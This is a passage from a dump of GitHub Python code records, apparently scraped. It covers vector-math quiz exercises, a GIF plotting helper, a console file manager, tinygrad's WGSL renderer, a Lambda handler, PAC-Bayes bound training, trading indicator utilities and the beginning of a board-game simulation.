v3)\n\nprint(type(v1.coordinates),v1.coordinates)\n\nprint(v1+v2)\nprint(v1+v3)\n\nprint(v1-v2)\nprint(v1-v3)\n\nprint(v1.time_scalar(2))\nprint(v3.time_scalar(2))\n\n#print(v1*v1)\n#print(v1*v3)\n\n# Quiz - 1\nv1 = Vector([8.218,-9.341])\nv2 = Vector([-1.129,2.111])\nprint(v1+v2)\n\n# Quiz - 2\nv1 = Vector([7.119,8.215])\nv2 = Vector([-8.223,0.878])\nprint(v1-v2)\n\n# Quiz - 3\nv3 = Vector([1.671,-1.012,-0.318])\nprint('v3 scalar mult: %s' %(v3.time_scalar(7.41)))\n\n'''\nprint(v2)\nprint('v1 magnitude: ' + str(v1.magnitude()))\nprint('v2 magnitude: %s' % str(v2.magnitude()))\n#print(v2.magnitude())\nprint('v3 magnitude: ' + str(v3.magnitude()))\n\nprint('v1 unit: ' + str(v1.unit()))\nprint('v2 unit: ' + str(v2.unit()))\nprint('v3 unit: ' + str(v3.unit()))\n'''\n\nv1 = Vector([-1,1,1])\nprint(v1)\nprint('v1 normalized: ' + str(v1.normalized()))\nprint(v1.normalized().magnitude())\n\n# Quit - 4\nv1 = Vector([-0.221,7.437])\nprint('v1 magnitude: ' + str(v1.magnitude()))\n\n# Quit - 5\nv2 = Vector([8.813,-1.331,-6.247])\nprint('v2 magnitude: ' + str(v2.magnitude()))\n\n# Quit - 6\nv1 = Vector([5.581,-2.136])\nprint('v1 normalized: ' + str(v1.normalized()))\n#print(v1.normalized().magnitude()) ==> 0.9999999999999999\n\n# Quit - 7\nv2 = Vector([1.996,3.108,-4.554])\nprint('v2 normalized: ' + str(v2.normalized()))\n#print(v2.normalized().magnitude()) ==> 1.0\n\n\nv1 = Vector([1,2,-1])\nv2 = Vector([3,1,0])\nprint('v1.v2 dotproduct: ' + str(v1.dotproduct(v2)))\nprint('Angle between v1 and v2 : ' + str(v1.angle(v2)))\n\n# Quiz - 8\nv = Vector([7.887,4.138])\nw = Vector([-8.802,6.776])\nprint('v.w dotproduct: ' + str(v.dotproduct(w)))\n\n# Quiz - 9\nv = Vector([-5.955,-4.904,-1.874])\nw = Vector([-4.496,-8.755,7.103])\nprint('v.w dotproduct: ' + str(v.dotproduct(w)))\n\n# Quiz - 10\nv = Vector([3.183,-7.627])\nw = Vector([-2.668,5.319])\nprint('Angle between v and w: ' + str(v.angle(w)))\n\n# Quiz - 11\nv = Vector([7.35,0.221,5.188])\nw = Vector([2.751,8.259,3.985])\nprint('Angle between v and w: ' + str(v.angle(w, True),))\n\nprint()\nprint()\n\nv = Vector([-7.579,-7.88])\nw = Vector([22.737,23.64])\nprint('v and v are parallel: ' + str(v.isparallel(v)))\nprint('v and v are orthogonal: ' + str(v.isorthogonal(v)))\n\nv = Vector([-7.579,-7.88])\nw = Vector([22.737,23.64])\nprint('v and v*-1 are parallel: ' + str(v.isparallel(v.time_scalar(-1))))\nprint('v and v*-1 are orthogonal: ' + str(v.isorthogonal(v.time_scalar(-1))))\n\n\n# Quiz - 12\nv = Vector([-7.579,-7.88])\nw = Vector([22.737,23.64])\nprint(v.magnitude(), w.magnitude())\nprint('v and w are parallel: ' + str(v.isparallel(w)))\nprint('v and w are orthogonal: ' + str(v.isorthogonal(w)))\n\n# Quiz - 13\nv = Vector([-2.029,9.97,4.172])\nw = Vector([-9.231,-6.639,-7.245])\nprint('v and w are parallel: ' + str(v.isparallel(w)))\nprint('v and w are orthogonal: ' + str(v.isorthogonal(w)))\n\n# Quiz - 14\nv = Vector([-2.328,-7.284,-1.214])\nw = Vector([-1.821,1.072,-2.94])\nprint('v and w are parallel: ' + str(v.isparallel(w)))\nprint('v and w are orthogonal: ' + str(v.isorthogonal(w)))\n\n# Quiz - 15\nv = Vector([2.118,4.827])\nw = Vector([0.,0.])\nprint('v and w are parallel: ' + str(v.isparallel(w)))\nprint('v and w are orthogonal: ' + str(v.isorthogonal(w)))","repo_name":"gymk/Study-Python","sub_path":"LineAlgebraRefreshCourse/Vector.py","file_name":"Vector.py","file_ext":"py","file_size_in_byte":7176,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"28540713576","text":"import matplotlib.pyplot as plt\nfrom Point import Point\nimport imageio\n\ndef saveAsGIF(tabu, points, option, _type):\n \n GIFpath = option + \"\\\\img_\" + str(len(points)) + \"\\\\\" + option + \"_\" + str(len(points)) + _type + \".gif\"\n IMGpath = option + \"\\\\img_\" + str(len(points)) + \"\\\\\"\n size_min = -5\n size_max = 80\n filenames = []\n\n for i in range(len(tabu.permutationHistoryGlobal)):\n perm_g = tabu.permutationHistoryGlobal[i]\n perm_l = tabu.permutationHistoryLocal[i]\n x_g = []\n y_g = []\n x_l = []\n y_l = []\n \n for j in range(len(perm_g)):\n x_g.append(points[perm_g[j]].x)\n y_g.append(points[perm_g[j]].y)\n x_l.append(points[perm_l[j]].x)\n y_l.append(points[perm_l[j]].y)\n\n fig, ax = plt.subplots(1, 2, figsize=(20,10))\n ax[0].plot(x_g, y_g, zorder=1, linewidth=5)\n ax[0].scatter(x_g, y_g, color='orange', zorder=2, s=120)\n ax[0].set_xlabel(\"X\")\n ax[0].set_ylabel(\"Y\")\n ax[0].set_title(\"Global best permutation\")\n # ax[0].set_xlim([size_min, size_max])\n # ax[0].set_ylim([size_min, size_max])\n ax[1].plot(x_l, y_l, zorder=1, linewidth=5)\n ax[1].scatter(x_g, y_g, color='orange', zorder=2, s=120)\n ax[1].set_xlabel(\"X\")\n ax[1].set_ylabel(\"Y\")\n ax[1].set_title(\"Local best permutation\")\n # ax[1].set_xlim([size_min, size_max])\n # ax[1].set_ylim([size_min, size_max])\n fig.savefig(IMGpath + str(i) + \".png\")\n filenames.append(IMGpath + str(i) + \".png\")\n plt.close()\n \n with imageio.get_writer(GIFpath, mode='I') as writer:\n for filename in filenames:\n image = imageio.imread(filename)\n writer.append_data(image)","repo_name":"mbagnsk/algorytmy-sztucznej-inteligencji","sub_path":"GIFmaker.py","file_name":"GIFmaker.py","file_ext":"py","file_size_in_byte":1786,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"3950863976","text":"import os\nimport shutil\n\nprint('Ввод команды:')\ntext = input()\ntext = text.split(' ')\nroot = os.getcwd()\ncount = 0\nwhile text[0] != 'stop':\n if count > 0:\n print('Ввод команды:')\n text = input()\n text = text.split(' ')\n\n def mkdir():\n path = text[1]\n os.mkdir(path)\n\n def rmdir():\n path = text[1]\n os.rmdir(path)\n\n def chdir():\n path = text[1]\n os.chdir(path)\n\n def getcwd():\n path = os.getcwd()\n print(path)\n\n def create():\n f = open(text[1], 'w')\n f.write('')\n f.close()\n\n def write():\n f = open(text[1], 'w')\n f.write(input())\n f.close()\n\n def read():\n f = open(text[1], 'r')\n print(*f)\n f.close()\n\n def remove():\n os.remove(text[1])\n\n def copy():\n shutil.copy(text[1], text[2])\n\n def move():\n shutil.move(text[1], text[2])\n\n def rename():\n os.rename(text[1], text[2])\n\n\n if (text[0] != 'getcwd') and (text[0] != 'stop'):\n if(text[1][0] != 'C') and (text[1][0] != ':') and (text[1][0] != '/'):\n text[1] = root + '/' + text[1]\n\n if text[0] == 'getcwd':\n print('Текущая директория:')\n getcwd()\n print('')\n\n if text[0] == 'move':\n print('Файл ' + text[1] + ' перемещён в папку ' + text[2])\n move()\n print('')\n\n if text[0] == 'rename':\n print('Файл ' + text[1] + ' переименован в ' + text[2])\n rename()\n print('')\n\n if text[0] == 'copy':\n print('Файл ' + text[1] + ' копирован в папку ' + text[2])\n copy()\n print('')\n\n if text[0] == 'remove':\n print('Файл ' + text[1] + ' удалён')\n remove()\n print('')\n\n if text[0] == 'create':\n print('Создан файл ' + text[1])\n create()\n print('')\n\n if text[0] == 'read':\n print('Прочтён файл ' + text[1])\n read()\n print('')\n\n if text[0] == 'write':\n write()\n print('Написан текст в файл ' + text[1])\n print('')\n\n if text[0] == 'mkdir':\n mkdir()\n print('Директория ' + text[1] + ' создана.')\n print('')\n\n if text[0] == 'rmdir':\n rmdir()\n print('Директория ' + text[1] + ' удалена.')\n print('')\n\n if text[0] == 'chdir':\n chdir()\n root = text[1]\n print(os.getcwd())\n print('')\n\n else:\n print('')\n count += 1\n","repo_name":"AceMageddon/FileManager","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2621,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"17190148290","text":"from tinygrad.helpers import dtypes, DType\nfrom tinygrad.renderer.cstyle import CStyleLanguage\nfrom typing import List, Union\nfrom tinygrad.ops import UnaryOps, BinaryOps, TernaryOps\nimport math\nfrom typing import Tuple\n\ntype_map = {dtypes.float: \"f32\", dtypes.half: \"f16\", dtypes.int32: \"i32\", dtypes.uint32: \"u32\", dtypes.bool: \"bool\"}\nclass WGSLLanguage(CStyleLanguage):\n gid = [f\"i32(gindex.{'xyz'[x]})\" for x in range(3)]\n lid = [f\"i32(lindex.{'xyz'[x]})\" for x in range(3)]\n size_prefix = \"let\"\n barrier=\"workgroupBarrier();\"\n generic_var_prefix = \"var \"\n external_local_bufs = True\n code_for_op = {\n UnaryOps.NEG: lambda x: f\"(-{x})\",\n UnaryOps.EXP2: lambda x: f\"exp2({x})\", UnaryOps.LOG2: lambda x: f\"log2({x})\",\n UnaryOps.SIN: lambda x: f\"sin({x})\", UnaryOps.SQRT: lambda x: f\"sqrt({x})\",\n BinaryOps.ADD: lambda x,y: f\"({x}+{y})\", BinaryOps.SUB: lambda x,y: f\"({x}-{y})\", BinaryOps.MUL: lambda x,y: f\"({x}*{y})\",\n BinaryOps.DIV: lambda x,y: f\"({x}/{y})\", BinaryOps.MOD: lambda x,y: f\"({x}%{y})\",\n BinaryOps.MAX: lambda x,y: f\"max({x},{y})\", BinaryOps.CMPLT: lambda x,y: f\"f32({x}<{y})\",\n TernaryOps.MULACC: lambda x,y,z: f\"fma({x},{y},{z})\", TernaryOps.WHERE: lambda a,b,c: f\"select({c},{b},{a}!=0.)\"\n }\n\n def render_local(self, name: str, size: int):\n return f\"var {name}: array;\"\n\n def render_const(self, x:Union[float,int], var_dtype) -> str:\n if math.isnan(x): val = \"nan()\"\n elif math.isinf(x): val = (\"-\" if x < 0 else \"\") + \"0x1.fffffep+127f\"\n else: val = f\"({x}\" + (\"\" if dtypes.is_int(var_dtype) else \"f\") + \")\"\n return self.render_cast([val]*var_dtype.sz, var_dtype) if var_dtype.sz > 1 else val\n\n def render_kernel(self, function_name:str, kernel:List[str], bufs:List[Tuple[str,DType]], local_size:List[int], prekernel:List[str]) -> str:\n local_size = local_size[::-1] if local_size else [1]\n bind_it = iter(range(len(bufs)))\n prg = \"fn nan() -> f32 { let bits = 0xffffffffu; return bitcast(bits); }\\n\"\n prg += \"\\n\".join(prekernel+[f\"@group(0) @binding({next(bind_it)}) var {name}: array<{type_map[dtype]}>;\" for name,dtype in bufs])\n prg += f\"\\n@compute @workgroup_size({','.join([str(x) for x in local_size])}) fn {function_name}(@builtin(workgroup_id) gindex: vec3, @builtin(local_invocation_id) lindex: vec3) {{\\n\" + \"\\n\".join(kernel) + \"\\n}\"\n return prg\n\n def render_for(self, expr:str, _min:Union[int,str], _max:Union[int,str]) -> str:\n return f\"for(var {expr} = {_min}; {expr} < {_max}; {expr}++) {{\"\n\n def render_if(self, cond: str):\n return f\"if (bool({cond})) {{\"\n\n def render_conditional(self, cond:str, x:str, y:str) -> str:\n return f\"select(f32({y}), {x}, bool({cond}))\"\n\n def render_cast(self, x:List[str], var_dtype:DType) -> str:\n if type_map[var_dtype]: return f\"{type_map[var_dtype]}({x[0]})\"\n raise NotImplementedError(f\"no cast for {var_dtype}\")\n\n def render_load(self, output_dtype, buf_name, buf_dtype, idx, local=False) -> str:\n return f\"f32({super().render_load(output_dtype, buf_name, buf_dtype, idx, local)})\"\n\n def render_store(self, buf_name:str, buf_dtype:DType, var_name:str, var_dtype:DType, idx, local=False) -> str:\n if buf_dtype != var_dtype:\n var_name = f\"{type_map[buf_dtype]}({var_name})\"\n return f\"{buf_name}[{idx}] = {var_name};\"","repo_name":"geohot/tinygrad","sub_path":"tinygrad/renderer/wgsl.py","file_name":"wgsl.py","file_ext":"py","file_size_in_byte":3346,"program_lang":"python","lang":"en","doc_type":"code","stars":13900,"dataset":"github-code","pt":"70"} +{"seq_id":"13131785562","text":"import sys\n\nsys.path.append(\"/opt\")\nfrom common.utils.response import Response\nfrom common.constants import Constants\nfrom weather_common import Weather\nfrom common.utils.validate_json import validate_json\nfrom common.utils.authorize import authorize\n\nschema = {\n \"$schema\": \"http://json-schema.org/draft-04/schema#\",\n\n \"type\": \"object\",\n \"properties\": {\n \"filename\": {\"type\": \"string\", \"minLength\": 3},\n\n },\n \"required\": [\"filename\"]\n\n}\n\n\n@authorize()\n@validate_json(schema)\ndef lambda_handler(event, logger):\n response = Response(logger=logger)\n try:\n weather = Weather(logger, response, event)\n return weather.get_profilepicture_url()\n except Exception as e:\n logger.exception(\"Unknown exception occurred while add schedule {}\".format(e))\n return response.error_response(Constants.SERVER_ERROR, Constants.SERVER_ERROR)\n\n\n\n","repo_name":"saif-sha/Cloud_a2","sub_path":"backend/dashboard/profile_picture.py","file_name":"profile_picture.py","file_ext":"py","file_size_in_byte":884,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"36069657742","text":"import torch\nimport torch.nn as nn\nfrom torch.nn.utils import parameters_to_vector\nfrom PacBayes_Loss import PacBayesLoss\nfrom NN_loss import mnnLoss\nfrom utils import *\nfrom Mnist_dataset import binary_mnist_loader\nfrom Architectures import * \nimport pickle\nimport os \nimport csv\nfrom functools import reduce\nimport time\nimport argparse\n\n\n\ndef main(initial_mean_prior, model_name, test_cuda=False):\n assert(initial_mean_prior in ['random', 'zeros', 'initial_train'])\n assert(model_name[0] in ['T','R'])\n print('-'*80)\n \n device = torch.device(\"cuda\" if test_cuda else \"cpu\")\n INPUT_SIZE = 784\n NUM_CLASSES = 2\n if (model_name[1]=='-'): \n NB_LAYERS, HIDDEN_SIZE=1, int(model_name[2:])\n else:\n NB_LAYERS, HIDDEN_SIZE = int(model_name[1]), int(model_name[3:])\n \n \n LEARNING_RATE = 0.01\n MOMENTUM = 0.9\n NUM_EPOCHS = 20 if model_name[0]=='T' else 100\n BATCH_SIZE = 100\n\n # Define the model of a network which weights we will optimize\n initial_net = create_network(NB_LAYERS, INPUT_SIZE, HIDDEN_SIZE, NUM_CLASSES)\n \n weight_path = 'SGD_solutions/{}.ckpt'.format(model_name)\n \n if (os.path.isfile(weight_path) and initial_mean_prior!='initial_train'):\n initial_weights = list([initial_mean_prior, None])\n net = load_train_weights(initial_net, weight_path)\n else:\n print('\\n Starting Training the network : '+model_name)\n train, test = binary_mnist_loader(batch_size=BATCH_SIZE, shuffle=False, random_labels=(model_name[0]=='R'))\n run(model_name, initial_net, train, test, LEARNING_RATE, MOMENTUM, NUM_EPOCHS, device)\n print('Traininig done for the network : '+model_name)\n initial_weights = list([initial_mean_prior, parameters_to_vector(initial_net.parameters()).detach()])\n net = load_train_weights(initial_net, weight_path)\n\n \n train_loader, test_loader = binary_mnist_loader(batch_size=100, shuffle=False, random_labels=(model_name[0]=='R'))\n\n conf_param = 0.025 \n Precision = 100 \n bound = 0.1 \n data_size = 55000\n n_mtcarlo_approx = 100#00#150000\n delta_prime = 0.01\n if (model_name[0]=='R'):\n learning_rate = 0.0001\n epochs = 120\n else:\n learning_rate = 0.001\n epochs = 20\n \n lambda_prior = torch.tensor(-3., device=device).requires_grad_()\n sigma_posterior = torch.abs(parameters_to_vector(net.parameters())).to(device).requires_grad_()\n\n flat_params = parameters_to_vector(net.parameters())\n BRE = PacBayesLoss(lambda_prior, sigma_posterior, net, flat_params, conf_param,\n Precision, bound, data_size, initial_weights,device).to(device)\n\n optimizer = torch.optim.RMSprop(filter(lambda p: p.requires_grad, BRE.parameters()), lr=learning_rate, alpha=0.9)\n criterion = nn.CrossEntropyLoss()\n nnloss = mnnLoss(criterion, BRE.flat_params, BRE.sigma_posterior_, net, BRE.d_size, device)\n\n print(\"==> Starting PAC-Bayes bound optimization\")\n t = time.time()\n\n mean_losses, BRE_loss, KL_value, NN_loss_final, norm_weights, norm_sigma, norm_lambda, outputs = (list() for i in range(8))\n for epoch in np.arange(1, epochs+1): \n NN_loss = list()\n print(\" \\n Epoch {} : \".format(epoch), end=\"\\n\")\n if ((epoch == 10) & (model_name[0]=='T')):\n print(\"==> Changing Learning rate from {} to {}\".format(learning_rate, learning_rate/10))\n for param_group in optimizer.param_groups:\n param_group['lr'] = learning_rate / 10\n \n for i, (images, labels) in enumerate(train_loader):\n if i == ((BRE.data_size * 5) / 100):\n print(\"\\r Progress: {}%\".format(100 * i // BRE.data_size), end=\"\")\n\n images = images.reshape(-1, 28 * 28).to(device)\n labels = labels.to(device)\n\n loss1 = BRE()\n loss1.backward(retain_graph=True)\n\n loss2 = nnloss(images, labels)\n loss = loss1 + loss2\n NN_loss.append(loss2)\n\n if (i == ((BRE.data_size * 5) / 100) and ((100 * i // BRE.data_size) - (100 * 5 * (i-1) // BRE.data_size)) != 0 and i != 0): \n print('\\t Mean loss : {} \\r'.format(sum(mean_losses)/len(mean_losses)))\n mean_losses = []\n else:\n mean_losses.append(loss.item())\n \n net.zero_grad()\n loss2.backward()\n\n weights_grad = torch.cat(list(Z.grad.view(-1) for Z in list(nnloss.model.parameters())), dim=0)\n BRE.flat_params.grad += weights_grad\n BRE.sigma_posterior_.grad += weights_grad * nnloss.noise \n\n optimizer.step()\n optimizer.zero_grad()\n\n BRE_loss.append(loss1.item())\n KL_value.append(BRE.kl_value)\n NN_loss_final.append(reduce(lambda a, b : a + b, NN_loss) / len(NN_loss))\n norm_weights.append(torch.norm(BRE.flat_params.clone().detach(), p=2))\n norm_sigma.append(torch.norm(BRE.sigma_posterior_.clone().detach(), p=2))\n norm_lambda.append(torch.abs(BRE.lambda_prior_.clone().detach()))\n \n print(\"\\n==> Optimization done \")\n print(\"Computation time is {}\".format(time.time() - t))\n print(\"\\n==> Saving Parameters... \")\n\n with open('./PAC_solutions/' + str(model_name) + '_epochs_' + str(epochs) + '_wprior_' + str(initial_mean_prior) + '_BRE_flat_params.pickle', 'wb') as handle:\n pickle.dump(BRE.flat_params, handle, protocol=pickle.HIGHEST_PROTOCOL)\n\n with open('./PAC_solutions/' + str(model_name) + '_epochs_' + str(epochs) + '_wprior_' + str(initial_mean_prior) + '_BRE_sigma_posterior.pickle', 'wb') as handle:\n pickle.dump(BRE.sigma_posterior_, handle, protocol=pickle.HIGHEST_PROTOCOL)\n\n with open('./PAC_solutions/' + str(model_name) + '_epochs_' + str(epochs) + '_wprior_' + str(initial_mean_prior) +'_BRE_lambda_prior.pickle', 'wb') as handle:\n pickle.dump(BRE.lambda_prior_, handle, protocol=pickle.HIGHEST_PROTOCOL)\n\n plot_results(model_name, BRE_loss, KL_value, NN_loss_final, norm_weights, norm_sigma, norm_lambda, epochs, initial_mean_prior)\n\n print(\"\\n==> Calculating SNN train error and PAC Bayes bound :\", end='\\t')\n \n train_loader, test_loader = binary_mnist_loader(batch_size=55000, shuffle=False, random_labels=(model_name[0]=='R'))\n t = time.time()\n\n snn_train_error, Pac_bound, kl = BRE.compute_bound(train_loader, delta_prime, n_mtcarlo_approx) \n print(\"Final Bounds computation time {}\".format(time.time() - t))\n outputs.append(model_name)\n outputs.append(snn_train_error[-1])\n outputs.append(Pac_bound[-1])\n print(\"Done\")\n print(\"\\n==> Calculating SNN test error :\", end='\\t')\n snn_test_error = BRE.SNN_error(test_loader, delta_prime, n_mtcarlo_approx)\n outputs.append(snn_test_error[-1])\n outputs.append(kl.item())\n print(\"Done\")\n\n bounds_output = []\n for i in range(len(snn_train_error)):\n bounds_output.append([snn_train_error[i], Pac_bound[i], snn_test_error[i]])\n\n print('\\n Epoch {} Finished \\t SNN_Train Error: {:.4f}\\t SNN_Test Error: {:.4f} \\t PAC-bayes Bound: {:.4f}\\r'.format(epoch, snn_train_error[-1],\n snn_test_error[-1], Pac_bound[-1]))\n\n with open('./final_results/' + str(model_name) + '_epochs_' + str(epochs) + '_wprior_' + str(initial_mean_prior) + '.csv', 'w') as handle:\n spam_writer = csv.writer(handle, delimiter=';', quotechar='|', quoting=csv.QUOTE_MINIMAL)\n spam_writer.writerow(['Model', 'SNN_Train_Error', 'PAC-bayes bound', 'SNN_Test_Error', 'KL_Divergence'])\n spam_writer.writerow(outputs)\n\n with open('./final_results/' + str(model_name) + '_epochs_' + str(epochs) + '_wprior_' + str(initial_mean_prior) + '_details.csv', 'w') as handle:\n spam_writer = csv.writer(handle, delimiter=';', quotechar='|', quoting=csv.QUOTE_MINIMAL)\n spam_writer.writerow(['SNN_Train_Error', 'PAC-bayes bound', 'SNN_Test_Error'])\n\n for output in bounds_output:\n spam_writer.writerow(output)\n \nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='PAC-Bayes bound optimizer')\n parser.add_argument('-model', type=str, default='T-600', help=\"A neural network model\")\n parser.add_argument('-prior_mean', type=str, default='random', help=\"The mean of prior distibution \")\n args = parser.parse_args()\n\n print(\"CUDA is available: {}\".format(torch.cuda.is_available()))\n main(initial_mean_prior=args.prior_mean, model_name=args.model, test_cuda=torch.cuda.is_available())\n","repo_name":"salmane-s9/Generalization_Bounds_PAC_BAYES","sub_path":"Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":8533,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"70"} +{"seq_id":"42612988590","text":"import pandas as pd\nimport numpy as np\nimport pandas_datareader as pdr\n#Time\nfrom datetime import datetime, timedelta\nfrom datetime import date\nimport time\n#Graf\nimport matplotlib.pyplot as plt\nfrom tqdm import tqdm\nimport seaborn as sns\nfrom pylab import rcParams\nrcParams['figure.figsize'] = 10, 10\nimport cpi\nimport ta\nimport ssl\nssl._create_default_https_context = ssl._create_unverified_context\n#Save Load Data & Model\nimport pickle\nimport random\nimport sys\nimport multiprocessing as mp\n\nclass Aif:\n \"This class makes data transformations_\" \n def calculate_Inflate(self, df:pd.DataFrame,norm_colum:list=[],date_col:str='Date',add_subs:str='Real_' ):\n \"This function calculate real value for inflate\" \n data=df.copy()\n if len(norm_colum)==0 : norm_colum=df.select_dtypes(exclude=['datetime64[ns]']).columns.to_list() \n for c in tqdm(norm_colum):\n for i in (range(0,data.shape[0])): \n if data[date_col].iloc[i].year < date.today().year: \n data.at[i,add_subs+c] = cpi.inflate(data[c].iloc[i],data[date_col].iloc[i])\n else :\n data.at[i,add_subs+c] = data[c].iloc[i] \n #data=data[[date_col]].merge(data.loc[:,(data.columns.str.contains(add_subs))],how='left',left_index=True, right_index=True)\n data = pd.concat([data[[date_col]], data.loc[:,(data.columns.str.contains(add_subs))]], axis=1)\n return data\n def movingavg_avg_real(self, df:pd.DataFrame,avg_columns:list=[],period:list=[15,30],date_col:str='Date',type_avg:str='SMA'):\n \"This function calculate Moving Avg for SMA and EMA values\" \n data = df\n if len(avg_columns)==0 : avg_columns=df.select_dtypes(exclude=['datetime64[ns]']).columns.to_list() \n data_ma = pd.DataFrame(data[date_col],columns=[date_col])\n data_ma[date_col]=pd.to_datetime(data_ma[date_col],format='%Y-%b-%d') \n for c in tqdm(avg_columns):\n #print(c,' - ',data[c].iloc[0])\n for i in period:\n if type_avg =='SMA':\n data_ma[c+'_'+str(i)+type_avg] = data[c].rolling(window=i).mean()\n elif type_avg =='EMA':\n data_ma[c+'_'+str(i)+type_avg] = data[c].ewm(span=i,adjust=True,ignore_na=True).mean()\n else :\n raise Exception(\"type_avg parameter must be SMA or EMA\")\n return data_ma.dropna(axis=0)\n def movingavg_avg(self, df:pd.DataFrame,avg_columns:list=[],period:list=[15,30],date_col:str='Date',type_avg:str='SMA'):\n \"This function calculate Moving Avg for SMA and EMA values\" \n data = df\n if len(avg_columns)==0 : avg_columns=df.select_dtypes(exclude=['datetime64[ns]']).columns.to_list() \n data_ma = pd.DataFrame(data[date_col],columns=[date_col])\n data_ma[date_col]=pd.to_datetime(data_ma[date_col],format='%Y-%b-%d') \n for c in tqdm(avg_columns):\n #print(c,' - ',data[c].iloc[0])\n for i in period:\n if type_avg =='SMA':\n data_ma[c+'_'+str(i)+type_avg] = (data[c]/(data[c].rolling(window=i).mean()))-1\n elif type_avg =='EMA':\n data_ma[c+'_'+str(i)+type_avg] = (data[c]/(data[c].ewm(span=i,adjust=True,ignore_na=True).mean()))-1\n else :\n raise Exception(\"type_avg parameter must be SMA or EMA\")\n return data_ma.dropna(axis=0)\n def kama(self, df:pd.DataFrame,value_columns:list =[],window:int=21,date_col:str='Date', \n pow1:int=2, pow2:int=30, fillna: bool=False,add_subs:str='Kama'):\n ''' kama indicator ''' \n ''' accepts pandas dataframe of prices '''\n ''' value_columns gets columns for kama'''\n ''' This function returns not null values only'''\n data = df.drop(columns=[date_col])\n if len(value_columns)==0 : value_columns=df.select_dtypes(exclude=['datetime64[ns]']).columns.to_list() \n data_ma = pd.DataFrame() \n for c in tqdm(value_columns):\n data_ma[c+'_'+add_subs] = ta.momentum.kama(data[c],window=window, pow1=pow1, pow2=pow2, fillna=fillna) \n data_ma.dropna(axis=1,how='all',inplace=True)\n data_ma.dropna(axis=0,how='all',inplace=True) \n data_ma[date_col]=pd.to_datetime(df[date_col],format='%Y-%b-%d') \n return data_ma\n def rsi(self, df:pd.DataFrame,value_columns:list=[],window:int=14,fillna: bool=False,add_subs='RSI',date_col:str='Date'): \n ''' RSI indicator ''' \n ''' accepts pandas dataframe of prices '''\n data = df\n if len(value_columns)==0 : value_columns=df.select_dtypes(exclude=['datetime64[ns]']).columns.to_list() \n data_ma = pd.DataFrame(data[date_col],columns=[date_col])\n data_ma[date_col]=pd.to_datetime(data_ma[date_col],format='%Y-%b-%d') \n for c in tqdm(value_columns):\n data_ma[c+'_'+add_subs] = ta.momentum.RSIIndicator(data[c], window=window, fillna=fillna).rsi() \n return data_ma.dropna(axis=0)\n def intersection(self, df:pd.DataFrame,value_columns:list=[],add_subs='_I'): \n ''' Intersection ''' \n ''' Accepts pandas dataframe of prices '''\n ''' Give intersection of columns'''\n data = df \n data_ma = pd.DataFrame(index=df.index) \n if len(value_columns)==0 : value_columns=df.select_dtypes(exclude=['datetime64[ns]']).columns.to_list() \n for i,c in enumerate((value_columns)): \n for l,cc in enumerate(value_columns[i+1:]): \n Signal_col = c+'_'+cc+'_'+'S'+add_subs \n Position_col = c+'_'+cc+'_'+'P'+add_subs \n Signal_count_col = c+'_'+cc+'_'+'C'+add_subs \n data_ma[Signal_col] = np.where(data[c] > data[cc], 1.0, -1.0)\n data_ma[Position_col] = data_ma[Signal_col].diff()/2\n index_list=data.index.values.tolist()\n deger=0\n for i,ind in enumerate((index_list)):\n if i !=0 : \n if data_ma.loc[ind,Signal_col]==data_ma.loc[index_list[i-1],Signal_col]: \n deger +=1\n data_ma.loc[ind,Signal_count_col]=deger\n else:\n deger=0\n data_ma.loc[ind,Signal_count_col]=0\n data_ma[Signal_count_col] = data_ma[Signal_count_col] * data_ma[Signal_col] \n data_ma=data_ma.drop([Signal_col], axis=1) \n #data_ma=data_ma.drop([Position_col], axis=1) \n return data_ma\n def intersectionN(self, df:pd.DataFrame,value_columns:list=[],add_subs='_I'): \n ''' Intersection ''' \n ''' Accepts pandas dataframe of prices '''\n ''' Give intersection of columns'''\n data = df \n data_ma = pd.DataFrame(index=df.index) \n if len(value_columns)==0 : value_columns=df.select_dtypes(exclude=['datetime64[ns]']).columns.to_list() \n for i,c in enumerate((value_columns)): \n for l,cc in enumerate(value_columns[i+1:]): \n Signal_col = c+'_'+cc+'_'+add_subs \n data_ma[Signal_col] = (data[c] - data[cc])/data[c] \n return data_ma\ndef show_buy_sell(data,\n col_val:str ='XAGUSD_Adj Close',\n col_date:str ='Date',\n kalici:pd.DataFrame=pd.DataFrame(), \n **param_dict_other \n ):\n plt.figure(figsize = (30,15))\n temp=data[[col_date,col_val]]\n plt.plot(temp[col_date],temp[col_val],color = 'b', lw = 1, label = 'Close Price')\n for i in range(0,kalici.shape[0]):\n date_bitis,date_bas = kalici[[col_date,col_date+'_Shift']].iloc[i] \n if i <1 :\n plt.plot(temp[(temp[col_date] > date_bas) & (temp[col_date] < date_bitis)][col_date],temp[(temp[col_date] > date_bas) & (temp[col_date] < date_bitis)][col_val],color = 'r', lw = 3,label='Hold')\n else: \n plt.plot(temp[(temp[col_date] > date_bas) & (temp[col_date] < date_bitis)][col_date],temp[(temp[col_date] > date_bas) & (temp[col_date] < date_bitis)][col_val],color = 'r', lw = 3)\n\n \n\n plt.ylabel('Price in Dolar', fontsize = 15 )\n plt.xlabel('Date', fontsize = 15 )\n plt.title(col_val+' Model Predict', fontsize = 20)\n plt.legend()\n plt.grid()\n plt.show()\n","repo_name":"Batuhanseds/Portfolio_1","sub_path":"AIF.py","file_name":"AIF.py","file_ext":"py","file_size_in_byte":8752,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"39669380688","text":"import csv\nfrom copy import deepcopy\n\nfrom player import Player\nfrom city import City\nfrom cards import PlayerCard, PlayerCardDeck, ShuffleDeck\nfrom actions import check_action, perform_action, Share, Clean, Cure, Build, DiscardMove, FreeMove\n\n\ndef import_cities(filename):\n city_list = []\n with open(filename) as csvfile:\n cityreader = csv.reader(csvfile)\n # TODO: wrap in try/catch\n for row in cityreader:\n neighbors = [int(n) for n in row[3:]]\n ID, name, color = int(row[0]), row[1], row[2]\n city_list.append(City(ID, name, color, neighbors))\n\n return city_list\n\n\nclass Game:\n def 